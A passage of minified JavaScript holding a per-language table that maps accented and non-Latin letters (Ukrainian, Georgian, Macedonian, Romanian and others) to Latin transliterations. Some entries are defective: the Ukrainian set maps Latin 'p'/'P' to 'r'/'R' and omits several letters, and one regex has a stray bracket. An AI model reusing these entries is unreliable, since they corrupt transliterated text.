0F1]/g,alternative:"n"},{letter:/[\u00D1]/g,alternative:"N"}],it:[{letter:/[\u00E0]/g,alternative:"a"},{letter:/[\u00C0]/g,alternative:"A"},{letter:/[\u00E9\u00E8]/g,alternative:"e"},{letter:/[\u00C9\u00C8]/g,alternative:"E"},{letter:/[\u00EC\u00ED\u00EE]/g,alternative:"i"},{letter:/[\u00CC\u00CD\u00CE]/g,alternative:"I"},{letter:/[\u00F3\u00F2]/g,alternative:"o"},{letter:/[\u00D3\u00D2]/g,alternative:"O"},{letter:/[\u00F9\u00FA]/g,alternative:"u"},{letter:/[\u00D9\u00DA]/g,alternative:"U"}],nl:[{letter:/[\u00E7]/g,alternative:"c"},{letter:/[\u00C7]/g,alternative:"C"},{letter:/[\u00F1]/g,alternative:"n"},{letter:/[\u00D1]/g,alternative:"N"},{letter:/[\u00E9\u00E8\u00EA\u00EB]/g,alternative:"e"},{letter:/[\u00C9\u00C8\u00CA\u00CB]/g,alternative:"E"},{letter:/[\u00F4\u00F6]/g,alternative:"o"},{letter:/[\u00D4\u00D6]/g,alternative:"O"},{letter:/[\u00EF]/g,alternative:"i"},{letter:/[\u00CF]/g,alternative:"I"},{letter:/[\u00FC]/g,alternative:"u"},{letter:/[\u00DC]/g,alternative:"U"},{letter:/[\u00E4]/g,alternative:"a"},{letter:/[\u00C4]/g,alternative:"A"}],bm:[{letter:/[\u025B]/g,alternative:"e"},{letter:/[\u0190]/g,alternative:"E"},{letter:/[\u0272]/g,alternative:"ny"},{letter:/[\u019D]/g,alternative:"Ny"},{letter:/[\u014B]/g,alternative:"ng"},{letter:/[\u014A]/g,alternative:"Ng"},{letter:/[\u0254]/g,alternative:"o"},{letter:/[\u0186]/g,alternative:"O"}],uk:[{letter:/[\u0431]/g,alternative:"b"},{letter:/[\u0411]/g,alternative:"B"},{letter:/[\u0432]/g,alternative:"v"},{letter:/[\u0412]/g,alternative:"V"},{letter:/[\u0433]/g,alternative:"h"},{letter:/[\u0413]/g,alternative:"H"},{letter:/[\u0491]/g,alternative:"g"},{letter:/[\u0490]/g,alternative:"G"},{letter:/[\u0434]/g,alternative:"d"},{letter:/[\u0414]/g,alternative:"D"},{letter:/[\u043A]/g,alternative:"k"},{letter:/[\u041A]/g,alternative:"K"},{letter:/[\u043B]/g,alternative:"l"},{letter:/[\u041B]/g,alternative:"L"},{letter:/[\u043C]/g,alternative:"m"},{letter:/[\u041C]/g,alternative:"M"},{letter:/[\u0070]/g,alternative:"r"},{letter:/[\u0050]/g,alternative:"R"},{letter:/[\u043F]/g,alternative:"p"},{letter:/[\u041F]/g,alternative:"P"},{letter:/[\u0441]/g,alternative:"s"},{letter:/[\u0421]/g,alternative:"S"},{letter:/[\u0442]/g,alternative:"t"},{letter:/[\u0422]/g,alternative:"T"},{letter:/[\u0443]/g,alternative:"u"},{letter:/[\u0423]/g,alternative:"U"},{letter:/[\u0444]/g,alternative:"f"},{letter:/[\u0424]/g,alternative:"F"},{letter:/[\u0445]/g,alternative:"kh"},{letter:/[\u0425]/g,alternative:"Kh"},{letter:/[\u0446]/g,alternative:"ts"},{letter:/[\u0426]/g,alternative:"Ts"},{letter:/[\u0447]/g,alternative:"ch"},{letter:/[\u0427]/g,alternative:"Ch"},{letter:/[\u0448]/g,alternative:"sh"},{letter:/[\u0428]/g,alternative:"Sh"},{letter:/[\u0449]/g,alternative:"shch"},{letter:/[\u0429]/g,alternative:"Shch"},{letter:/[\u044C\u042C]/g,alternative:""},{letter:/[\u0436]/g,alternative:"zh"},{letter:/[\u0416]/g,alternative:"Zh"},{letter:/[\u0437]/g,alternative:"z"},{letter:/[\u0417]/g,alternative:"Z"},{letter:/[\u0438]/g,alternative:"y"},{letter:/[\u0418]/g,alternative:"Y"},{letter:/^[\u0454]/g,alternative:"ye"},{letter:/[\s][\u0454]/g,alternative:" ye"},{letter:/[\u0454]/g,alternative:"ie"},{letter:/^[\u0404]/g,alternative:"Ye"},{letter:/[\s][\u0404]/g,alternative:" Ye"},{letter:/[\u0404]/g,alternative:"IE"},{letter:/^[\u0457]/g,alternative:"yi"},{letter:/[\s][\u0457]/g,alternative:" yi"},{letter:/[\u0457]/g,alternative:"i"},{letter:/^[\u0407]/g,alternative:"Yi"},{letter:/[\s][\u0407]/g,alternative:" Yi"},{letter:/[\u0407]/g,alternative:"I"},{letter:/^[\u0439]/g,alternative:"y"},{letter:/[\s][\u0439]/g,alternative:" y"},{letter:/[\u0439]/g,alternative:"i"},{letter:/^[\u0419]/g,alternative:"Y"},{letter:/[\s][\u0419]/g,alternative:" Y"},{letter:/[\u0419]/g,alternative:"I"},{letter:/^[\u044E]/g,alternative:"yu"},{letter:/[\s][\u044E]/g,alternative:" yu"},{letter:/[\u044E]/g,alternative:"iu"},{letter:/^[\u042E]/g,alternative:"Yu"},{letter:/[\s][\u042E]/g,alternative:" Yu"},{letter:/[\u042E]/g,alternative:"IU"},{letter:/^[\u044F]/g,alternative:"ya"},{letter:/[\s][\u044F]/g,alternative:" ya"},{letter:/[\u044F]/g,alternative:"ia"},{letter:/^[\u042F]/g,alternative:"Ya"},{letter:/[\s][\u042F]/g,alternative:" Ya"},{letter:/[\u042F]/g,alternative:"IA"}],br:[{letter:/\u0063\u0027\u0068/g,alternative:"ch"},{letter:/\u0043\u0027\u0048/g,alternative:"CH"},{letter:/[\u00e2]/g,alternative:"a"},{letter:/[\u00c2]/g,alternative:"A"},{letter:/[\u00ea]/g,alternative:"e"},{letter:/[\u00ca]/g,alternative:"E"},{letter:/[\u00ee]/g,alternative:"i"},{letter:/[\u00ce]/g,alternative:"I"},{letter:/[\u00f4]/g,alternative:"o"},{letter:/[\u00d4]/g,alternative:"O"},{letter:/[\u00fb\u00f9\u00fc]/g,alternative:"u"},{letter:/[\u00db\u00d9\u00dc]/g,alternative:"U"},{letter:/[\u00f1]/g,alternative:"n"},{letter:/[\u00d1]/g,alternative:"N"}],ch:[{letter:/[\u0027]/g,alternative:""},{letter:/[\u00e5]/g,alternative:"a"},{letter:/[\u00c5]/g,alternative:"A"},{letter:/[\u00f1]/g,alternative:"n"},{letter:/[\u00d1]/g,alternative:"N"}],co:[{letter:/[\u00e2\u00e0]/g,alternative:"a"},{letter:/[\u00c2\u00c0]/g,alternative:"A"},{letter:/[\u00e6\u04d5]/g,alternative:"ae"},{letter:/[\u00c6\u04d4]/g,alternative:"Ae"},{letter:/[\u00e7]/g,alternative:"c"},{letter:/[\u00c7]/g,alternative:"C"},{letter:/[\u00e9\u00ea\u00e8\u00eb]/g,alternative:"e"},{letter:/[\u00c9\u00ca\u00c8\u00cb]/g,alternative:"E"},{letter:/[\u00ec\u00ee\u00ef]/g,alternative:"i"},{letter:/[\u00cc\u00ce\u00cf]/g,alternative:"I"},{letter:/[\u00f1]/g,alternative:"n"},{letter:/[\u00d1]/g,alternative:"N"},{letter:/[\u00f4\u00f2]/g,alternative:"o"},{letter:/[\u00d4\u00d2]/g,alternative:"O"},{letter:/[\u0153]/g,alternative:"oe"},{letter:/[\u0152]]/g,alternative:"Oe"},{letter:/[\u00f9\u00fc]/g,alternative:"u"},{letter:/[\u00d9\u00dc]/g,alternative:"U"},{letter:/[\u00ff]/g,alternative:"y"},{letter:/[\u0178]/g,alternative:"Y"}],csb:[{letter:/[\u0105\u00e3]/g,alternative:"a"},{letter:/[\u0104\u00c3]/g,alternative:"A"},{letter:/[\u00e9\u00eb]/g,alternative:"e"},{letter:/[\u00c9\u00cb]/g,alternative:"E"},{letter:/[\u0142]/g,alternative:"l"},{letter:/[\u0141]/g,alternative:"L"},{letter:/[\u0144]/g,alternative:"n"},{letter:/[\u0143]/g,alternative:"N"},{letter:/[\u00f2\u00f3\u00f4]/g,alternative:"o"},{letter:/[\u00d2\u00d3\u00d4]/g,alternative:"O"},{letter:/[\u00f9]/g,alternative:"u"},{letter:/[\u00d9]/g,alternative:"U"},{letter:/[\u017c]/g,alternative:"z"},{letter:/[\u017b]/g,alternative:"Z"}],cy:[{letter:/[\u00e2]/g,alternative:"a"},{letter:/[\u00c2]/g,alternative:"A"},{letter:/[\u00ea]/g,alternative:"e"},{letter:/[\u00ca]/g,alternative:"E"},{letter:/[\u00ee]/g,alternative:"i"},{letter:/[\u00ce]/g,alternative:"I"},{letter:/[\u00f4]/g,alternative:"o"},{letter:/[\u00d4]/g,alternative:"O"},{letter:/[\u00fb]/g,alternative:"u"},{letter:/[\u00db]/g,alternative:"U"},{letter:/[\u0175]/g,alternative:"w"},{letter:/[\u0174]/g,alternative:"W"},{letter:/[\u0177]/g,alternative:"y"},{letter:/[\u0176]/g,alternative:"Y"}],ee:[{letter:/[\u0256]/g,alternative:"d"},{letter:/[\u0189]/g,alternative:"D"},{letter:/[\u025b]/g,alternative:"e"},{letter:/[\u0190]/g,alternative:"E"},{letter:/[\u0192]/g,alternative:"f"},{letter:/[\u0191]/g,alternative:"F"},{letter:/[\u0263]/g,alternative:"g"},{letter:/[\u0194]/g,alternative:"G"},{letter:/[\u014b]/g,alternative:"ng"},{letter:/[\u014a]/g,alternative:"Ng"},{letter:/[\u0254]/g,alternative:"o"},{letter:/[\u0186]/g,alternative:"O"},{letter:/[\u028b]/g,alternative:"w"},{letter:/[\u01b2]/g,alternative:"W"},{letter:/\u0061\u0303/g,alternative:"a"},{letter:/[\u00e1\u00e0\u01ce\u00e2\u00e3]/g,alternative:"a"},{letter:/\u0041\u0303/g,alternative:"A"},{letter:/[\u00c1\u00c0\u01cd\u00c2\u00c3]/g,alternative:"A"},{letter:/[\u00e9\u00e8\u011b\u00ea]/g,alternative:"e"},{letter:/[\u00c9\u00c8\u011a\u00ca]/g,alternative:"E"},{letter:/[\u00f3\u00f2\u01d2\u00f4]/g,alternative:"o"},{letter:/[\u00d3\u00d2\u01d1\u00d4]/g,alternative:"O"},{letter:/[\u00fa\u00f9\u01d4\u00fb]/g,alternative:"u"},{letter:/[\u00da\u00d9\u01d3\u00db]/g,alternative:"U"},{letter:/[\u00ed\u00ec\u01d0\u00ee]/g,alternative:"i"},{letter:/[\u00cd\u00cc\u01cf\u00ce]/g,alternative:"I"}],et:[{letter:/[\u0161]/g,alternative:"sh"},{letter:/[\u0160]/g,alternative:"Sh"},{letter:/[\u017e]/g,alternative:"zh"},{letter:/[\u017d]/g,alternative:"Zh"},{letter:/[\u00f5\u00f6]/g,alternative:"o"},{letter:/[\u00d6\u00d5]/g,alternative:"O"},{letter:/[\u00e4]/g,alternative:"a"},{letter:/[\u00c4]/g,alternative:"A"},{letter:/[\u00fc]/g,alternative:"u"},{letter:/[\u00dc]/g,alternative:"U"}],eu:[{letter:/[\u00f1]/g,alternative:"n"},{letter:/[\u00d1]/g,alternative:"N"},{letter:/[\u00e7]/g,alternative:"c"},{letter:/[\u00c7]/g,alternative:"C"},{letter:/[\u00fc]/g,alternative:"u"},{letter:/[\u00dc]/g,alternative:"U"}],fuc:[{letter:/[\u0253]/g,alternative:"b"},{letter:/[\u0181]/g,alternative:"B"},{letter:/[\u0257]/g,alternative:"d"},{letter:/[\u018a]/g,alternative:"D"},{letter:/[\u014b]/g,alternative:"ng"},{letter:/[\u014a]/g,alternative:"Ng"},{letter:/[\u0272\u00f1]/g,alternative:"ny"},{letter:/[\u019d\u00d1]/g,alternative:"Ny"},{letter:/[\u01b4]/g,alternative:"y"},{letter:/[\u01b3]/g,alternative:"Y"},{letter:/[\u0260]/g,alternative:"g"},{letter:/[\u0193]/g,alternative:"G"}],fj:[{letter:/[\u0101]/g,alternative:"a"},{letter:/[\u0100]/g,alternative:"A"},{letter:/[\u0113]/g,alternative:"e"},{letter:/[\u0112]/g,alternative:"E"},{letter:/[\u012b]/g,alternative:"i"},{letter:/[\u012a]/g,alternative:"I"},{letter:/[\u016b]/g,alternative:"u"},{letter:/[\u016a]/g,alternative:"U"},{letter:/[\u014d]/g,alternative:"o"},{letter:/[\u014c]/g,alternative:"O"}],frp:[{letter:/[\u00e2]/g,alternative:"a"},{letter:/[\u00c2]/g,alternative:"A"},{letter:/[\u00ea\u00e8\u00e9]/g,alternative:"e"},{letter:/[\u00ca\u00c8\u00c9]/g,alternative:"E"},{letter:/[\u00ee]/g,alternative:"i"},{letter:/[\u00ce]/g,alternative:"I"},{letter:/[\u00fb\u00fc]/g,alternative:"u"},{letter:/[\u00db\u00dc]/g,alternative:"U"},{letter:/[\u00f4]/g,alternative:"o"},{letter:/[\u00d4]/g,alternative:"O"}],fur:[{letter:/[\u00E7]/g,alternative:"c"},{letter:/[\u00C7]/g,alternative:"C"},{letter:/[\u00e0\u00e2]/g,alternative:"a"},{letter:/[\u00c0\u00c2]/g,alternative:"A"},{letter:/[\u00e8\u00ea]/g,alternative:"e"},{letter:/[\u00c8\u00ca]/g,alternative:"E"},{letter:/[\u00ec\u00ee]/g,alternative:"i"},{letter:/[\u00cc\u00ce]/g,alternative:"I"},{letter:/[\u00f2\u00f4]/g,alternative:"o"},{letter:/[\u00d2\u00d4]/g,alternative:"O"},{letter:/[\u00f9\u00fb]/g,alternative:"u"},{letter:/[\u00d9\u00db]/g,alternative:"U"},{letter:/[\u010d]/g,alternative:"c"},{letter:/[\u010c]/g,alternative:"C"},{letter:/[\u011f]/g,alternative:"g"},{letter:/[\u011e]/g,alternative:"G"},{letter:/[\u0161]/g,alternative:"s"},{letter:/[\u0160]/g,alternative:"S"}],fy:[{letter:/[\u00e2\u0101\u00e4\u00e5]/g,alternative:"a"},{letter:/[\u00c2\u0100\u00c4\u00c5]/g,alternative:"A"},{letter:/[\u00ea\u00e9\u0113]/g,alternative:"e"},{letter:/[\u00ca\u00c9\u0112]/g,alternative:"E"},{letter:/[\u00f4\u00f6]/g,alternative:"o"},{letter:/[\u00d4\u00d6]/g,alternative:"O"},{letter:/[\u00fa\u00fb\u00fc]/g,alternative:"u"},{letter:/[\u00da\u00db\u00dc]/g,alternative:"U"},{letter:/[\u00ed]/g,alternative:"i"},{letter:/[\u00cd]/g,alternative:"I"},{letter:/[\u0111\u00f0]/g,alternative:"d"},{letter:/[\u0110\u00d0]/g,alternative:"D"}],ga:[{letter:/[\u00e1]/g,alternative:"a"},{letter:/[\u00c1]/g,alternative:"A"},{letter:/[\u00e9]/g,alternative:"e"},{letter:/[\u00c9]/g,alternative:"E"},{letter:/[\u00f3]/g,alternative:"o"},{letter:/[\u00d3]/g,alternative:"O"},{letter:/[\u00fa]/g,alternative:"u"},{letter:/[\u00da]/g,alternative:"U"},{letter:/[\u00ed]/g,alternative:"i"},{letter:/[\u00cd]/g,alternative:"I"}],gd:[{letter:/[\u00e0]/g,alternative:"a"},{letter:/[\u00c0]/g,alternative:"A"},{letter:/[\u00e8]/g,alternative:"e"},{letter:/[\u00c8]/g,alternative:"E"},{letter:/[\u00f2]/g,alternative:"o"},{letter:/[\u00d2]/g,alternative:"O"},{letter:/[\u00f9]/g,alternative:"u"},{letter:/[\u00d9]/g,alternative:"U"},{letter:/[\u00ec]/g,alternative:"i"},{letter:/[\u00cc]/g,alternative:"I"}],gl:[{letter:/[\u00e1\u00e0]/g,alternative:"a"},{letter:/[\u00c1\u00c0]/g,alternative:"A"},{letter:/[\u00e9\u00ea]/g,alternative:"e"},{letter:/[\u00c9\u00ca]/g,alternative:"E"},{letter:/[\u00ed\u00ef]/g,alternative:"i"},{letter:/[\u00cd\u00cf]/g,alternative:"I"},{letter:/[\u00f3]/g,alternative:"o"},{letter:/[\u00d3]/g,alternative:"O"},{letter:/[\u00fa\u00fc]/g,alternative:"u"},{letter:/[\u00da\u00dc]/g,alternative:"U"},{letter:/[\u00e7]/g,alternative:"c"},{letter:/[\u00c7]/g,alternative:"C"},{letter:/[\u00f1]/g,alternative:"n"},{letter:/[\u00d1]/g,alternative:"N"}],gn:[{letter:/[\u2019]/g,alternative:""},{letter:/\u0067\u0303/g,alternative:"g"},{letter:/\u0047\u0303/g,alternative:"G"},{letter:/[\u00e3]/g,alternative:"a"},{letter:/[\u00c3]/g,alternative:"A"},{letter:/[\u1ebd]/g,alternative:"e"},{letter:/[\u1ebc]/g,alternative:"E"},{letter:/[\u0129]/g,alternative:"i"},{letter:/[\u0128]/g,alternative:"I"},{letter:/[\u00f5]/g,alternative:"o"},{letter:/[\u00d5]/g,alternative:"O"},{letter:/[\u00f1]/g,alternative:"n"},{letter:/[\u00d1]/g,alternative:"N"},{letter:/[\u0169]/g,alternative:"u"},{letter:/[\u0168]/g,alternative:"U"},{letter:/[\u1ef9]/g,alternative:"y"},{letter:/[\u1ef8]/g,alternative:"Y"}],gsw:[{letter:/[\u00e4]/g,alternative:"a"},{letter:/[\u00c4]/g,alternative:"A"},{letter:/[\u00f6]/g,alternative:"o"},{letter:/[\u00d6]/g,alternative:"O"},{letter:/[\u00fc]/g,alternative:"u"},{letter:/[\u00dc]/g,alternative:"U"}],hat:[{letter:/[\u00e8]/g,alternative:"e"},{letter:/[\u00c8]/g,alternative:"E"},{letter:/[\u00f2]/g,alternative:"o"},{letter:/[\u00d2]/g,alternative:"O"}],haw:[{letter:/[\u02bb\u0027\u2019]/g,alternative:""},{letter:/[\u0101]/g,alternative:"a"},{letter:/[\u0113]/g,alternative:"e"},{letter:/[\u012b]/g,alternative:"i"},{letter:/[\u014d]/g,alternative:"o"},{letter:/[\u016b]/g,alternative:"u"},{letter:/[\u0100]/g,alternative:"A"},{letter:/[\u0112]/g,alternative:"E"},{letter:/[\u012a]/g,alternative:"I"},{letter:/[\u014c]/g,alternative:"O"},{letter:/[\u016a]/g,alternative:"U"}],hr:[{letter:/[\u010d\u0107]/g,alternative:"c"},{letter:/[\u010c\u0106]/g,alternative:"C"},{letter:/[\u0111]/g,alternative:"dj"},{letter:/[\u0110]/g,alternative:"Dj"},{letter:/[\u0161]/g,alternative:"s"},{letter:/[\u0160]/g,alternative:"S"},{letter:/[\u017e]/g,alternative:"z"},{letter:/[\u017d]/g,alternative:"Z"},{letter:/[\u01c4]/g,alternative:"DZ"},{letter:/[\u01c5]/g,alternative:"Dz"},{letter:/[\u01c6]/g,alternative:"dz"}],ka:[{letter:/[\u10d0]/g,alternative:"a"},{letter:/[\u10d1]/g,alternative:"b"},{letter:/[\u10d2]/g,alternative:"g"},{letter:/[\u10d3]/g,alternative:"d"},{letter:/[\u10d4]/g,alternative:"e"},{letter:/[\u10d5]/g,alternative:"v"},{letter:/[\u10d6]/g,alternative:"z"},{letter:/[\u10d7]/g,alternative:"t"},{letter:/[\u10d8]/g,alternative:"i"},{letter:/[\u10d9]/g,alternative:"k"},{letter:/[\u10da]/g,alternative:"l"},{letter:/[\u10db]/g,alternative:"m"},{letter:/[\u10dc]/g,alternative:"n"},{letter:/[\u10dd]/g,alternative:"o"},{letter:/[\u10de]/g,alternative:"p"},{letter:/[\u10df]/g,alternative:"zh"},{letter:/[\u10e0]/g,alternative:"r"},{letter:/[\u10e1]/g,alternative:"s"},{letter:/[\u10e2]/g,alternative:"t"},{letter:/[\u10e3]/g,alternative:"u"},{letter:/[\u10e4]/g,alternative:"p"},{letter:/[\u10e5]/g,alternative:"k"},{letter:/[\u10e6]/g,alternative:"gh"},{letter:/[\u10e7]/g,alternative:"q"},{letter:/[\u10e8]/g,alternative:"sh"},{letter:/[\u10e9]/g,alternative:"ch"},{letter:/[\u10ea]/g,alternative:"ts"},{letter:/[\u10eb]/g,alternative:"dz"},{letter:/[\u10ec]/g,alternative:"ts"},{letter:/[\u10ed]/g,alternative:"ch"},{letter:/[\u10ee]/g,alternative:"kh"},{letter:/[\u10ef]/g,alternative:"j"},{letter:/[\u10f0]/g,alternative:"h"}],kal:[{letter:/[\u00E5]/g,alternative:"aa"},{letter:/[\u00C5]/g,alternative:"Aa"},{letter:/[\u00E6\u04D5]/g,alternative:"ae"},{letter:/[\u00C6\u04D4]/g,alternative:"Ae"},{letter:/[\u00C4]/g,alternative:"Ae"},{letter:/[\u00F8]/g,alternative:"oe"},{letter:/[\u00D8]/g,alternative:"Oe"}],kin:[{letter:/[\u2019\u0027]/g,alternative:""}],lb:[{letter:/[\u00e4]/g,alternative:"a"},{letter:/[\u00c4]/g,alternative:"A"},{letter:/[\u00eb\u00e9]/g,alternative:"e"},{letter:/[\u00cb\u00c9]/g,alternative:"E"}],li:[{letter:/[\u00e1\u00e2\u00e0\u00e4]/g,alternative:"a"},{letter:/[\u00c1\u00c2\u00c0\u00c4]/g,alternative:"A"},{letter:/[\u00eb\u00e8\u00ea]/g,alternative:"e"},{letter:/[\u00cb\u00c8\u00ca]/g,alternative:"E"},{letter:/[\u00f6\u00f3]/g,alternative:"o"},{letter:/[\u00d6\u00d3]/g,alternative:"O"}],lin:[{letter:/[\u00e1\u00e2\u01ce]/g,alternative:"a"},{letter:/[\u00c1\u00c2\u01cd]/g,alternative:"A"},{letter:/\u025b\u0301/g,alternative:"e"},{letter:/\u025b\u0302/g,alternative:"e"},{letter:/\u025b\u030c/g,alternative:"e"},{letter:/[\u00e9\u00ea\u011b\u025b]/g,alternative:"e"},{letter:/\u0190\u0301/g,alternative:"E"},{letter:/\u0190\u0302/g,alternative:"E"},{letter:/\u0190\u030c/g,alternative:"E"},{letter:/[\u00c9\u00ca\u011a\u0190]/g,alternative:"E"},{letter:/[\u00ed\u00ee\u01d0]/g,alternative:"i"},{letter:/[\u00cd\u00ce\u01cf]/g,alternative:"I"},{letter:/\u0254\u0301/g,alternative:"o"},{letter:/\u0254\u0302/g,alternative:"o"},{letter:/\u0254\u030c/g,alternative:"o"},{letter:/[\u00f3\u00f4\u01d2\u0254]/g,alternative:"o"},{letter:/\u0186\u0301/g,alternative:"O"},{letter:/\u0186\u0302/g,alternative:"O"},{letter:/\u0186\u030c/g,alternative:"O"},{letter:/[\u00d3\u00d4\u01d1\u0186]/g,alternative:"O"},{letter:/[\u00fa]/g,alternative:"u"},{letter:/[\u00da]/g,alternative:"U"}],lt:[{letter:/[\u0105]/g,alternative:"a"},{letter:/[\u0104]/g,alternative:"A"},{letter:/[\u010d]/g,alternative:"c"},{letter:/[\u010c]/g,alternative:"C"},{letter:/[\u0119\u0117]/g,alternative:"e"},{letter:/[\u0118\u0116]/g,alternative:"E"},{letter:/[\u012f]/g,alternative:"i"},{letter:/[\u012e]/g,alternative:"I"},{letter:/[\u0161]/g,alternative:"s"},{letter:/[\u0160]/g,alternative:"S"},{letter:/[\u0173\u016b]/g,alternative:"u"},{letter:/[\u0172\u016a]/g,alternative:"U"},{letter:/[\u017e]/g,alternative:"z"},{letter:/[\u017d]/g,alternative:"Z"}],mg:[{letter:/[\u00f4]/g,alternative:"ao"},{letter:/[\u00d4]/g,alternative:"Ao"}],mk:[{letter:/[\u0430]/g,alternative:"a"},{letter:/[\u0410]/g,alternative:"A"},{letter:/[\u0431]/g,alternative:"b"},{letter:/[\u0411]/g,alternative:"B"},{letter:/[\u0432]/g,alternative:"v"},{letter:/[\u0412]/g,alternative:"V"},{letter:/[\u0433]/g,alternative:"g"},{letter:/[\u0413]/g,alternative:"G"},{letter:/[\u0434]/g,alternative:"d"},{letter:/[\u0414]/g,alternative:"D"},{letter:/[\u0453]/g,alternative:"gj"},{letter:/[\u0403]/g,alternative:"Gj"},{letter:/[\u0435]/g,alternative:"e"},{letter:/[\u0415]/g,alternative:"E"},{letter:/[\u0436]/g,alternative:"zh"},{letter:/[\u0416]/g,alternative:"Zh"},{letter:/[\u0437]/g,alternative:"z"},{letter:/[\u0417]/g,alternative:"Z"},{letter:/[\u0455]/g,alternative:"dz"},{letter:/[\u0405]/g,alternative:"Dz"},{letter:/[\u0438]/g,alternative:"i"},{letter:/[\u0418]/g,alternative:"I"},{letter:/[\u0458]/g,alternative:"j"},{letter:/[\u0408]/g,alternative:"J"},{letter:/[\u043A]/g,alternative:"k"},{letter:/[\u041A]/g,alternative:"K"},{letter:/[\u043B]/g,alternative:"l"},{letter:/[\u041B]/g,alternative:"L"},{letter:/[\u0459]/g,alternative:"lj"},{letter:/[\u0409]/g,alternative:"Lj"},{letter:/[\u043C]/g,alternative:"m"},{letter:/[\u041C]/g,alternative:"M"},{letter:/[\u043D]/g,alternative:"n"},{letter:/[\u041D]/g,alternative:"N"},{letter:/[\u045A]/g,alternative:"nj"},{letter:/[\u040A]/g,alternative:"Nj"},{letter:/[\u043E]/g,alternative:"o"},{letter:/[\u041E]/g,alternative:"O"},{letter:/[\u0440]/g,alternative:"r"},{letter:/[\u0420]/g,alternative:"R"},{letter:/[\u043F]/g,alternative:"p"},{letter:/[\u041F]/g,alternative:"P"},{letter:/[\u0441]/g,alternative:"s"},{letter:/[\u0421]/g,alternative:"S"},{letter:/[\u0442]/g,alternative:"t"},{letter:/[\u0422]/g,alternative:"T"},{letter:/[\u045C]/g,alternative:"kj"},{letter:/[\u040C]/g,alternative:"Kj"},{letter:/[\u0443]/g,alternative:"u"},{letter:/[\u0423]/g,alternative:"U"},{letter:/[\u0444]/g,alternative:"f"},{letter:/[\u0424]/g,alternative:"F"},{letter:/[\u0445]/g,alternative:"h"},{letter:/[\u0425]/g,alternative:"H"},{letter:/[\u0446]/g,alternative:"c"},{letter:/[\u0426]/g,alternative:"C"},{letter:/[\u0447]/g,alternative:"ch"},{letter:/[\u0427]/g,alternative:"Ch"},{letter:/[\u045F]/g,alternative:"dj"},{letter:/[\u040F]/g,alternative:"Dj"},{letter:/[\u0448]/g,alternative:"sh"},{letter:/[\u0428]/g,alternative:"Sh"}],mri:[{letter:/[\u0101]/g,alternative:"aa"},{letter:/[\u0100]/g,alternative:"Aa"},{letter:/[\u0113]/g,alternative:"ee"},{letter:/[\u0112]/g,alternative:"Ee"},{letter:/[\u012b]/g,alternative:"ii"},{letter:/[\u012a]/g,alternative:"Ii"},{letter:/[\u014d]/g,alternative:"oo"},{letter:/[\u014c]/g,alternative:"Oo"},{letter:/[\u016b]/g,alternative:"uu"},{letter:/[\u016a]/g,alternative:"Uu"}],mwl:[{letter:/[\u00e7]/g,alternative:"c"},{letter:/[\u00c7]/g,alternative:"C"},{letter:/[\u00e1]/g,alternative:"a"},{letter:/[\u00c1]/g,alternative:"A"},{letter:/[\u00e9\u00ea]/g,alternative:"e"},{letter:/[\u00c9\u00ca]/g,alternative:"E"},{letter:/[\u00ed]/g,alternative:"i"},{letter:/[\u00cd]/g,alternative:"I"},{letter:/[\u00f3\u00f4]/g,alternative:"o"},{letter:/[\u00d3\u00d4]/g,alternative:"O"},{letter:/[\u00fa\u0169]/g,alternative:"u"},{letter:/[\u00da\u0168]/g,alternative:"U"}],oci:[{letter:/[\u00e7]/g,alternative:"c"},{letter:/[\u00c7]/g,alternative:"C"},{letter:/[\u00e0\u00e1]/g,alternative:"a"},{letter:/[\u00c0\u00c1]/g,alternative:"A"},{letter:/[\u00e8\u00e9]/g,alternative:"e"},{letter:/[\u00c8\u00c9]/g,alternative:"E"},{letter:/[\u00ed\u00ef]/g,alternative:"i"},{letter:/[\u00cd\u00cf]/g,alternative:"I"},{letter:/[\u00f2\u00f3]/g,alternative:"o"},{letter:/[\u00d2\u00d3]/g,alternative:"O"},{letter:/[\u00fa\u00fc]/g,alternative:"u"},{letter:/[\u00da\u00dc]/g,alternative:"U"},{letter:/[\u00b7]/g,alternative:""}],orm:[{letter:/[\u0027]/g,alternative:""}],pt:[{letter:/[\u00e7]/g,alternative:"c"},{letter:/[\u00c7]/g,alternative:"C"},{letter:/[\u00e1\u00e2\u00e3\u00e0]/g,alternative:"a"},{letter:/[\u00c1\u00c2\u00c3\u00c0]/g,alternative:"A"},{letter:/[\u00e9\u00ea]/g,alternative:"e"},{letter:/[\u00c9\u00ca]/g,alternative:"E"},{letter:/[\u00ed]/g,alternative:"i"},{letter:/[\u00cd]/g,alternative:"I"},{letter:/[\u00f3\u00f4\u00f5]/g,alternative:"o"},{letter:/[\u00d3\u00d4\u00d5]/g,alternative:"O"},{letter:/[\u00fa]/g,alternative:"u"},{letter:/[\u00da]/g,alternative:"U"}],roh:[{letter:/[\u00e9\u00e8\u00ea]/g,alternative:"e"},{letter:/[\u00c9\u00c8\u00ca]/g,alternative:"E"},{letter:/[\u00ef]/g,alternative:"i"},{letter:/[\u00cf]/g,alternative:"I"},{letter:/[\u00f6]/g,alternative:"oe"},{letter:/[\u00d6]/g,alternative:"Oe"},{letter:/[\u00fc]/g,alternative:"ue"},{letter:/[\u00dc]/g,alternative:"Ue"},{letter:/[\u00e4]/g,alternative:"ae"},{letter:/[\u00c4]/g,alternative:"Ae"}],rup:[{letter:/[\u00e3]/g,alternative:"a"},{letter:/[\u00c3]/g,alternative:"A"}],ro:[{letter:/[\u0103\u00e2]/g,alternative:"a"},{letter:/[\u0102\u00c2]/g,alternative:"A"},{letter:/[\u00ee]/g,alternative:"i"},{letter:/[\u00ce]/g,alternative:"I"},{letter:/[\u0219\u015f]/g,alternative:"s"},{letter:/[\u0218\u015e]/g,alternative:"S"},{letter:/[\u021b\u0163]/g,alternative:"t"},{letter:/[\u021a\u0162]/g,alternative:"T"}],tlh:[{letter:/[\u2019\u0027]/g,alternative:""}],sk:[{letter:/[\u01c4]/g,alternative:"DZ"},{letter:/[\u01c5]/g,alternative:"Dz"},{letter:/[\u01c6]/g,alternative:"dz"},{letter:/[\u00e1\u00e4]/g,alternative:"a"},{letter:/[\u00c1\u00c4]/g,alternative:"A"},{letter:/[\u010d]/g,alternative:"c"},{letter:/[\u010c]/g,alternative:"C"},{letter:/[\u010f]/g,alternative:"d"},{letter:/[\u010e]/g,alternative:"D"},{letter:/[\u00e9]/g,alternative:"e"},{letter:/[\u00c9]/g,alternative:"E"},{letter:/[\u00ed]/g,alternative:"i"},{letter:/[\u00cd]/g,alternative:"I"},{letter:/[\u013e\u013a]/g,alternative:"l"},{letter:/[\u013d\u0139]/g,alternative:"L"},{letter:/[\u0148]/g,alternative:"n"},{letter:/[\u0147]/g,alternative:"N"},{l